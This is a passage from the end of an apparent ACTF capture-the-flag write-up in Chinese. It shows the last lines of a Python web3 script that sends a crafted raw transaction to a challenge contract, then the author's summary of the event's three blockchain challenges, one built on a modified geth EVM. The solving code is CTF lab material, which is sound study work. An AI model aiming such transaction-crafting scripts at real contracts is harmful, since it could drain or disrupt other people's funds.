'value': web3.toWei(0, 'ether'),
'data': "0xd336c82d",
"chainId": 6789
}
print(deploy(rawTx2))
总结
本次ACTF中的赛题质量非常高,其中第二个区块链是魔改了geth中的evm指令,其实已经逆出来合约了,但是合约逆向还是很难(x 并且就算把源码发了其中的密码学challenge也很难。其余的两个区块链题中也各有自己的创新点。非常感谢大师傅们带来的优质赛题。